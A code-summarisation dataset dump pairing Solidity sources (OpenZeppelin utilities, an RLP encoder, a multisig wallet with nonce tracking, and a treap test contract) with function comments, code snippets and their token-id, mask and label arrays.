* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/**
* @title RLPEncode
* @dev A simple RLP encoding library.
* @author Bakaoh
*/
library RLPEncode {
/*
* Internal functions
*/
/**
* @dev RLP encodes a byte string.
* @param self The byte string to encode.
* @return The RLP encoded string in bytes.
*/
function encodeBytes(bytes memory self) internal pure returns (bytes memory) {
bytes memory encoded;
if (self.length == 1 && uint8(self[0]) <= 128) {
encoded = self;
} else {
encoded = concat(encodeLength(self.length, 128), self);
}
return encoded;
}
/**
* @dev RLP encodes a list of RLP encoded byte byte strings.
* @param self The list of RLP encoded byte strings.
* @return The RLP encoded list of items in bytes.
*/
function encodeList(bytes[] memory self) internal pure returns (bytes memory) {
bytes memory list = flatten(self);
return concat(encodeLength(list.length, 192), list);
}
/**
* @dev RLP encodes a string.
* @param self The string to encode.
* @return The RLP encoded string in bytes.
*/
function encodeString(string memory self) internal pure returns (bytes memory) {
return encodeBytes(bytes(self));
}
/**
* @dev RLP encodes an address.
* @param self The address to encode.
* @return The RLP encoded address in bytes.
*/
function encodeAddress(address self) internal pure returns (bytes memory) {
bytes memory inputBytes;
assembly {
let m := mload(0x40)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, self))
mstore(0x40, add(m, 52))
inputBytes := m
}
return encodeBytes(inputBytes);
}
/**
* @dev RLP encodes a uint.
* @param self The uint to encode.
* @return The RLP encoded uint in bytes.
*/
function encodeUint(uint self) internal pure returns (bytes memory) {
return encodeBytes(toBinary(self));
}
/**
* @dev RLP encodes an int.
* @param self The int to encode.
* @return The RLP encoded int in bytes.
*/
function encodeInt(int self) internal pure returns (bytes memory) {
return encodeUint(uint(self));
}
/**
* @dev RLP encodes a bool.
* @param self The bool to encode.
* @return The RLP encoded bool in bytes.
*/
function encodeBool(bool self) internal pure returns (bytes memory) {
bytes memory encoded = new bytes(1);
encoded[0] = (self ? bytes1(0x01) : bytes1(0x80));
return encoded;
}
/*
* Private functions
*/
/**
* @dev Encode the first byte, followed by the `len` in binary form if `length` is more than 55.
* @param len The length of the string or the payload.
* @param offset 128 if item is string, 192 if item is list.
* @return RLP encoded bytes.
*/
function encodeLength(uint len, uint offset) private pure returns (bytes memory) {
bytes memory encoded;
if (len < 56) {
encoded = new bytes(1);
encoded[0] = bytes32(len + offset)[31];
} else {
uint lenLen;
uint i = 1;
while (len / i != 0) {
lenLen++;
i *= 256;
}
encoded = new bytes(lenLen + 1);
encoded[0] = bytes32(lenLen + offset + 55)[31];
for(i = 1; i <= lenLen; i++) {
encoded[i] = bytes32((len / (256**(lenLen-i))) % 256)[31];
}
}
return encoded;
}
/**
* @dev Encode integer in big endian binary form with no leading zeroes.
* @notice TODO: This should be optimized with assembly to save gas costs.
* @param _x The integer to encode.
* @return RLP encoded bytes.
*/
function toBinary(uint _x) private pure returns (bytes memory) {
bytes memory b = new bytes(32);
assembly {
mstore(add(b, 32), _x)
}
uint i;
for (i = 0; i < 32; i++) {
if (b[i] != 0) {
break;
}
}
bytes memory res = new bytes(32 - i);
for (uint j = 0; j < res.length; j++) {
res[j] = b[i++];
}
return res;
}
/**
* @dev Copies a piece of memory to another location.
* @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol.
* @param _dest Destination location.
* @param _src Source location.
* @param _len Length of memory to copy.
*/
function memcpy(uint _dest, uint _src, uint _len) private pure {
uint dest = _dest;
uint src = _src;
uint len = _len;
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/**
* @dev Flattens a list of byte strings into one byte string.
* @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol.
* @param _list List of byte strings to flatten.
* @return The flattened byte string.
*/
function flatten(bytes[] memory _list) private pure returns (bytes memory) {
if (_list.length == 0) {
return new bytes(0);
}
uint len;
uint i;
for (i = 0; i < _list.length; i++) {
len += _list[i].length;
}
bytes memory flattened = new bytes(len);
uint flattenedPtr;
assembly { flattenedPtr := add(flattened, 0x20) }
for(i = 0; i < _list.length; i++) {
bytes memory item = _list[i];
uint listPtr;
assembly { listPtr := add(item, 0x20)}
memcpy(flattenedPtr, listPtr, item.length);
flattenedPtr += _list[i].length;
}
return flattened;
}
/**
* @dev Concatenates two bytes.
* @notice From: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol.
* @param _preBytes First byte string.
* @param _postBytes Second byte string.
* @return Both byte string combined.
*/
function concat(bytes memory _preBytes, bytes memory _postBytes) private pure returns (bytes memory) {
bytes memory tempBytes;
assembly {
tempBytes := mload(0x40)
let length := mload(_preBytes)
mstore(tempBytes, length)
let mc := add(tempBytes, 0x20)
let end := add(mc, length)
for {
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
mc := end
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(0x40, and(
add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31)
))
}
return tempBytes;
}
}
/**
* SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.0;
import "./MultiSigWallet.sol";
import "@openzeppelin/contracts/proxy/Clones.sol";
contract MultiSigCloneFactory {
address public multiSigImplementation;
event ContractCreated(address contractAddress, string typeName);
constructor(address _multSigImplementation) {
multiSigImplementation = _multSigImplementation;
}
/*function create(address owner) public returns (address) {
address payable instance = payable(Clones.clone(multiSigImplementation));
MultiSigWallet(instance).initialize(owner);
emit ContractCreated(instance, "MultiSigWallet");
return instance;
}*/
function predict(bytes32 salt) external view returns (address) {
return Clones.predictDeterministicAddress(multiSigImplementation, salt);
}
function create(address owner, bytes32 salt) external returns (address) {
address payable instance = payable(Clones.cloneDeterministic(multiSigImplementation, salt));
MultiSigWallet(instance).initialize(owner);
emit ContractCreated(instance, "MultiSigWallet");
return instance;
}
}
/**
* SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "../libraries/RLPEncode.sol";
import "../utils/Nonce.sol";
contract MultiSigWallet is Nonce, Initializable {
mapping (address => uint8) public signers; // The addresses that can co-sign transactions and the number of signatures needed
uint16 public signerCount;
bytes public contractId; // most likely unique id of this contract
event SignerChange(
address indexed signer,
uint8 cosignaturesNeeded
);
event Transacted(
address indexed toAddress, // The address the transaction was sent to
bytes4 selector, // selected operation
address[] signers // Addresses of the signers used to initiate the transaction
);
constructor () {
}
function initialize(address owner) external initializer {
// We use the gas price to get a unique id into our transactions.
// Note that 32 bits do not guarantee that no one can generate a contract with the
// same id, but it practically rules out that someone accidentally creates two
// two multisig contracts with the same id, and that's all we need to prevent
// replay-attacks.
contractId = toBytes(uint32(uint160(address(this))));
_setSigner(owner, 1); // set initial owner
}
/**
* It should be possible to store ether on this address.
*/
receive() external payable {
}
/**
* Checks if the provided signatures suffice to sign the transaction and if the nonce is correct.
*/
function checkSignatures(uint128 nonce, address to, uint value, bytes calldata data,
uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) external view returns (address[] memory) {
bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data);
return verifySignatures(transactionHash, v, r, s);
}
/**
* Checks if the execution of a transaction would succeed if it was properly signed.
*/
function checkExecution(address to, uint value, bytes calldata data) external {
Address.functionCallWithValue(to, data, value);
require(false, "Test passed. Reverting.");
}
function execute(uint128 nonce, address to, uint value, bytes calldata data, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) external returns (bytes memory) {
bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data);
address[] memory found = verifySignatures(transactionHash, v, r, s);
bytes memory returndata = Address.functionCallWithValue(to, data, value);
flagUsed(nonce);
emit Transacted(to, extractSelector(data), found);
return returndata;
}
function extractSelector(bytes calldata data) private pure returns (bytes4){
if (data.length < 4){
return bytes4(0);
} else {
return bytes4(data[0]) | (bytes4(data[1]) >> 8) | (bytes4(data[2]) >> 16) | (bytes4(data[3]) >> 24);
}
}
function toBytes(uint number) internal pure returns (bytes memory){
uint len = 0;
uint temp = 1;
while (number >= temp){
temp = temp << 8;
len++;
}
temp = number;
bytes memory data = new bytes(len);
for (uint i = len; i>0; i--) {
data[i-1] = bytes1(uint8(temp));
temp = temp >> 8;
}
return data;
}
// Note: does not work with contract creation
function calculateTransactionHash(uint128 sequence, bytes memory id, address to, uint value, bytes calldata data)
internal view returns (bytes32){
bytes[] memory all = new bytes[](9);
all[0] = toBytes(sequence); // sequence number instead of nonce
all[1] = id; // contract id instead of gas price
all[2] = toBytes(21000); // gas limit
all[3] = abi.encodePacked(to);
all[4] = toBytes(value);
all[5] = data;
all[6] = toBytes(block.chainid);
all[7] = toBytes(0);
for (uint i = 0; i<8; i++){
all[i] = RLPEncode.encodeBytes(all[i]);
}
all[8] = all[7];
return keccak256(RLPEncode.encodeList(all));
}
function verifySignatures(bytes32 transactionHash, uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s)
public view returns (address[] memory) {
address[] memory found = new address[](r.length);
for (uint i = 0; i < r.length; i++) {
address signer = ecrecover(transactionHash, v[i], r[i], s[i]);
uint8 cosignaturesNeeded = signers[signer];
require(cosignaturesNeeded > 0 && cosignaturesNeeded <= r.length, "cosigner error");
found[i] = signer;
}
requireNoDuplicates(found);
return found;
}
function requireNoDuplicates(address[] memory found) private pure {
for (uint i = 0; i < found.length; i++) {
for (uint j = i+1; j < found.length; j++) {
require(found[i] != found[j], "duplicate signature");
}
}
}
/**
* Call this method through execute
*/
function setSigner(address signer, uint8 cosignaturesNeeded) external authorized {
_setSigner(signer, cosignaturesNeeded);
require(signerCount > 0);
}
function migrate(address destination) external {
_migrate(msg.sender, destination);
}
function migrate(address source, address destination) external authorized {
_migrate(source, destination);
}
function _migrate(address source, address destination) private {
require(signers[destination] == 0); // do not overwrite existing signer!
_setSigner(destination, signers[source]);
_setSigner(source, 0);
}
function _setSigner(address signer, uint8 cosignaturesNeeded) private {
require(!Address.isContract(signer), "signer cannot be a contract");
uint8 prevValue = signers[signer];
signers[signer] = cosignaturesNeeded;
if (prevValue > 0 && cosignaturesNeeded == 0){
signerCount--;
} else if (prevValue == 0 && cosignaturesNeeded > 0){
signerCount++;
}
emit SignerChange(signer, cosignaturesNeeded);
}
modifier authorized() {
require(address(this) == msg.sender || signers[msg.sender] == 1, "not authorized");
_;
}
}
/**
* SPDX-License-Identifier: LicenseRef-Aktionariat
*
* MIT License with Automated License Fee Payments
*
* Copyright (c) 2020 Aktionariat AG (aktionariat.com)
*
* Permission is hereby granted to any person obtaining a copy of this software
* and associated documentation files (the "Software"), to deal in the Software
* without restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies of the
* Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* - The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* - All automated license fee payments integrated into this and related Software
* are preserved.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
pragma solidity ^0.8.0;
contract Nonce {
uint256 public constant MAX_INCREASE = 100;
uint256 private compound;
constructor(){
setBoth(128, 0);
}
/**
* The next recommended nonce, which is the highest nonce ever used plus one.
*/
function nextNonce() external view returns (uint256){
return getMax() + 1;
}
/**
* Returns whether the provided nonce can be used.
* For the 100 nonces in the interval [nextNonce(), nextNonce + 99], this is always true.
* For the nonces in the interval [nextNonce() - 129, nextNonce() - 1], this is true for the nonces that have not been used yet.
*/
function isFree(uint128 nonce) external view returns (bool){
uint128 max = getMax();
return isValidHighNonce(max, nonce) || isValidLowNonce(max, getRegister(), nonce);
}
/**
* Flags the given nonce as used.
* Reverts if the provided nonce is not free.
*/
function flagUsed(uint128 nonce) internal {
uint256 comp = compound;
uint128 max = uint128(comp);
uint128 reg = uint128(comp >> 128);
if (isValidHighNonce(max, nonce)){
setBoth(nonce, ((reg << 1) | 0x1) << (nonce - max - 1));
} else if (isValidLowNonce(max, reg, nonce)){
setBoth(max, uint128(reg | 0x1 << (max - nonce - 1)));
} else {
require(false);
}
}
function getMax() private view returns (uint128) {
return uint128(compound);
}
function getRegister() private view returns (uint128) {
return uint128(compound >> 128);
}
function setBoth(uint128 max, uint128 reg) private {
compound = uint256(reg) << 128 | max;
}
function isValidHighNonce(uint128 max, uint128 nonce) private pure returns (bool){
return nonce > max && nonce <= max + MAX_INCREASE;
}
function isValidLowNonce(uint128 max, uint128 reg, uint256 nonce) private pure returns (bool){
uint256 diff = max - nonce;
return diff > 0 && diff <= 128 && ((0x1 << (diff - 1)) & reg == 0);
}
} | * @dev RLP encodes a uint. @param self The uint to encode. @return The RLP encoded uint in bytes./ | function encodeUint(uint self) internal pure returns (bytes memory) {
return encodeBytes(toBinary(self));
}
| 383,605 | [
1,
54,
14461,
16834,
279,
2254,
18,
225,
365,
1021,
2254,
358,
2017,
18,
327,
1021,
534,
14461,
3749,
2254,
316,
1731,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2017,
5487,
12,
11890,
365,
13,
2713,
16618,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
327,
2017,
2160,
12,
869,
5905,
12,
2890,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//! { "cases": [ {
//! "name": "one",
//! "input": [
//! {
//! "entry": "one",
//! "calldata": [
//! ]
//! }
//! ],
//! "expected": [
//! "1"
//! ]
//! }, {
//! "name": "two",
//! "input": [
//! {
//! "entry": "two",
//! "calldata": [
//! ]
//! }
//! ],
//! "expected": [
//! "1"
//! ]
//! } ] }
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
contract Test {
// Limit for nodes in memory and array size
uint8 constant DIM = 12;
// Node of tree
struct Node {
uint8 key;
uint8 prior;
uint8 l;
uint8 r;
}
// Struct for imitation heap, pointers
struct Memory {
Node[DIM] nodes;
uint8 cnt;
}
function one() public pure returns(uint64) {
uint8[DIM] memory array;
uint8 sz = 5;
for(uint8 i = 0; i < sz; i++) {
array[i] = sz - i;
}
// 5 4 3 2 1
Memory memory _memory = newMemory();
uint8 root = fromArray(array, sz, _memory);
// 1 2 3 4 5
root = add(root, 7, _memory);
// 1 2 3 4 5 7
root = erase(root, 3, _memory);
// 1 2 4 5 7
root = add(root, 0, _memory);
//0 1 2 4 5 7
uint8 resSz = toArray(root, _memory, array);
bool result = resSz == 6 &&
array[0] == 0 &&
array[1] == 1 &&
array[2] == 2 &&
array[3] == 4 &&
array[4] == 5 &&
array[5] == 7;
if (result) {
return 1;
} else {
return 0;
}
}
function two() public pure returns(uint64) {
Memory memory _memory = newMemory();
uint8 root = 0;
uint8 i = 10;
while(i > 0) {
root = add(root, i, _memory);
i -= 2;
}
// 2 4 6 8 10
i = 1;
while (i <= 9) {
root = add(root, i, _memory);
i += 2;
}
// 1 - 10
i = 3;
while (i <= 9) {
root = erase(root, i, _memory);
i += 3;
}
// 1 2 4 5 7 8 10
i = 4;
while (i <= 8) {
root = erase(root, i, _memory);
i += 4;
}
// 1 2 5 7 10
root = add(root, 6, _memory);
// 1 2 5 6 7 10
uint8[DIM] memory array;
uint8 sz = toArray(root, _memory, array);
bool result = sz == 6 &&
array[0] == 1 &&
array[1] == 2 &&
array[2] == 5 &&
array[3] == 6 &&
array[4] == 7 &&
array[5] == 10;
if (result) {
return 1;
} else {
return 0;
}
}
function newMemory() private pure returns(Memory memory) {
Memory memory _memory;
// starting from 1, as 0 like null ptr
_memory.cnt = 1;
return _memory;
}
function newNode(Memory memory _memory, Node memory node) private pure returns(uint8) {
_memory.nodes[_memory.cnt++] = node;
return _memory.cnt - 1;
}
// merge and split for treap
function merge(uint8 p1, uint8 p2, Memory memory _memory) private pure returns(uint8) {
if (p1 == 0) {
return p2;
}
if( p2 == 0) {
return p1;
}
if(_memory.nodes[p1].prior > _memory.nodes[p2].prior) {
uint8 p = merge(_memory.nodes[p1].r, p2, _memory);
_memory.nodes[p1].r = p;
return p1;
} else {
uint8 p = merge(p1, _memory.nodes[p2].l, _memory);
_memory.nodes[p2].l = p;
return p2;
}
}
function split(uint8 p, uint8 val, Memory memory _memory) private pure returns(uint8, uint8) {
if (p == 0) {
return (0, 0);
}
if (_memory.nodes[p].key < val) {
(uint8 p1, uint8 p2) = split(_memory.nodes[p].r, val, _memory);
_memory.nodes[p].r = p1;
return (p, p2);
} else {
(uint8 p1, uint8 p2) = split(_memory.nodes[p].l, val, _memory);
_memory.nodes[p].l = p2;
return (p1, p);
}
}
// add new node to treap if value not in treap already
function add(uint8 root, uint8 key, Memory memory _memory) private pure returns(uint8) {
(uint8 p1, uint8 p2) = split(root, key, _memory);
// if key already in tree - ignore
(uint8 tmp1, uint8 tmp2) = split(p2, key + 1, _memory);
p2 = merge(tmp1, tmp2, _memory);
if (tmp1 != 0) {
return merge(p1, p2, _memory);
}
uint8 _new = newNode(_memory, Node(
key,
// instead random
_memory.cnt * key,
0,
0
));
return merge(merge(p1, _new, _memory), p2, _memory);
}
// remove key from treap, if it containing
function erase(uint8 root, uint8 key, Memory memory _memory) private pure returns(uint8) {
(uint8 p1, uint8 p2) = split(root, key, _memory);
(uint8 p21, uint8 p22) = split(p2, key + 1, _memory);
return merge(p1, p22, _memory);
}
function fromArray(uint8[DIM] memory array, uint8 size, Memory memory _memory) private pure returns(uint8) {
uint8 root = 0;
for(uint8 i = 0; i < size; i++) {
root = add(root, array[i], _memory);
}
return root;
}
// works so long, as with every call creates temporary array DIM size
function toArray(uint8 root, Memory memory _memory, uint8[DIM] memory array) private pure returns(uint8) {
if (root == 0) {
return 0;
}
uint8 lSize = toArray(_memory.nodes[root].l, _memory, array);
uint8[DIM] memory tmp;
uint8 rSize = toArray(_memory.nodes[root].r, _memory, tmp);
uint8 sz = lSize;
array[sz++] = _memory.nodes[root].key;
for(uint8 i = 0; i < rSize; i++) {
array[sz++] = tmp[i];
}
return sz;
}
} | remove key from treap, if it containing | function erase(uint8 root, uint8 key, Memory memory _memory) private pure returns(uint8) {
(uint8 p1, uint8 p2) = split(root, key, _memory);
(uint8 p21, uint8 p22) = split(p2, key + 1, _memory);
return merge(p1, p22, _memory);
}
| 1,835,076 | [
1,
4479,
498,
628,
9787,
438,
16,
309,
518,
4191,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
